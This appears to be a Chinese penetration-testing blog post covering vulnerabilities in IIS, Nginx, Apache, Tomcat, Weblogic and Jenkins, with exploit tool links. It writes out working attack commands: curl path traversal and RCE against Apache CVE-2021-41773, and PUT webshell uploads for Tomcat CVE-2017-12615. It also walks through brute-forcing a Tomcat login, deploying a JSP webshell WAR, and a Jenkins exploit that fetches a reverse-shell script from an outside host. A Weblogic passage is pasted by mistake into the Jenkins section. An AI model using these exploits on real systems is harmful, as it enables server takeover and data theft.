中间件安全

IIS

IIS短文件漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析漏洞

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析

  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析

    如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

Nginx

DNS解析漏洞(cve-2021-23017)

受影响版本:0.6.18-1.20.0

**poc地址:**https://github.com/M507/CVE-2021-23017-PoC

复现失败

文件名逻辑漏洞(cve-2013-4547)

受影响版本:0.8.41 ~ 1.4.3 /1.5.0 ~ 1.5.7

\0也就是c语言的结束符的意思,之后我们的通过我们的\0将这个文件名截断成我们的fastcgi认为他到1.gif就结束了,之后对上传的文件进行检查,发现他没有以php结尾,就将这个文件上传上去,然后我们的php-fpm.conf的安全后缀策略(security.limit_extensions = )是空的,之后他就会执行我们上传的1.gif \0.php文件。

测试

测试

成功

解析漏洞(配置不当)

我们在配置php.ini的时候,开启了我们的自动修复路径(cgi.fix_pathinfo=1),也就是我们访问http://127.0.0.1/test.jpg/test.php,由于没有test.php这个文件我们服务器会自动到上一个路径,发现有test.jpg于是就自己执行了这个文件,但是由于我们在配置php-fpm.conf的安全后缀策略(security.limit_extensions = jpg php )为空或者就只有jpg和php,我们的服务就会执行jpg和php,我们的test.jpg里面就是我们的恶意的php代码,之后通过解析为php文件就导致了我们执行该文件,从而产生了我们的漏洞。

假如下图是上传了包含<?phpinfo();?>的图片

在后面添加/.php后缀,就会被解析为php

Apache

目录穿越&命令执行(cve-2021-41773)

版本影响:2.4.49、2.4.50

可见靶场的apache版本满足漏洞版本

目录穿越

curl -v --path-as-is http://ip:port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

RCE

curl --data "echo;id" http://ip:port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件解析(cve-2017-15715)

版本影响:2.4.0-2.4.29

上传成功

Tomcat

弱口令getshell

影响版本:全版本

弱口令部署war包getshell

点击【manager app】弹出后台登录框

抓包爆破

标记加密的位置

选择自定义迭代器

位置一填用户名

位置二填:

位置三填密码

payload处理选择base64加密

爆破成功

用户名:tomcat 密码:qwe123

登录成功

生成jsp一句话木马

将jsp木马zip压缩后更改后缀为war 生成war包

部署war包

链接成功

文件上传(cve-2017-12615)

影响版本:7.0.0-7.0.81

使用PUT方法请求 将木马放入数据内,即可上传

三种构造url方式:

PUT /x.jsp/

PUT /x.jsp%20

PUT /x.jsp::$DATA

前两种针对linux 第三种针对windows

返回201即是上传成功

文件包含(cve-2020-1938)

影响版本:6.* 、7.*<7.0.100、8.*<8.5.51、9.*<9.0.31

工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml文件

Weblogic

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

Jenkins

默认端口:8080

Jenkins-CI远程代码执行(cve-2017-1000353)

影响版本:Jenkins <= 2.56 Jenkins LTS <= 2.46.1

默认端口:7001

weblogic由于有很多漏洞,所以直接梭哈

工具地址:https://github.com/KimJun1010/WeblogicTool

再使用python的exp执行

shell反弹成功

远程命令执行(cve-2018-1000861)

影响版本:Jenkins <= 2.153 Jenkins LTS <= 2.138.3

工具下载:https://github.com/orangetw/awesome-jenkins-rce-2019

先将反弹shell的命令放在自己公网服务器上

python2 exp.py http://123.58.224.8:31731 "curl -o /tmp/1.sh http://117.72.120.22/qdy.txt"

可以看见qdy.txt文件被目标服务器请求了

执行反弹shell命令

成功接收shell

相关推荐
李宥小哥2 小时前
Redis01-基础-入门
缓存·中间件
xiaoniu6672 小时前
毕业设计-基于机器学习入侵检测系统
网络·安全·web安全
lee_yanyi2 小时前
《一键式江湖:Docker Compose中间件部署108式》开篇:告别“配置地狱”,从此笑傲云原生武林!》
docker·云原生·中间件
iOS开发上架哦3 小时前
charles网络抓包入门教程
网络协议·安全
Suckerbin4 小时前
pikachu靶场-敏感信息泄露
网络·学习·安全·网络安全
李宥小哥5 小时前
Redis03-基础-C#客户端
开发语言·缓存·中间件·c#
思通数科AI全行业智能NLP系统12 小时前
AI视频技术赋能幼儿园安全——教师离岗报警系统的智慧守护
大数据·人工智能·安全·目标检测·目标跟踪·自然语言处理·ocr
明似水14 小时前
Flutter 弹窗队列管理:支持优先级的线程安全通用弹窗队列系统
javascript·安全·flutter
CYRUS_STUDIO15 小时前
使用 Dex2C 加壳保护 Android APK 代码
android·安全·逆向
一颗星星辰15 小时前
路由交换网络专题 | 第八章 | GVRP配置 | 端口安全 | 端口隔离 | Mux-VLAN | Hybrid
网络·安全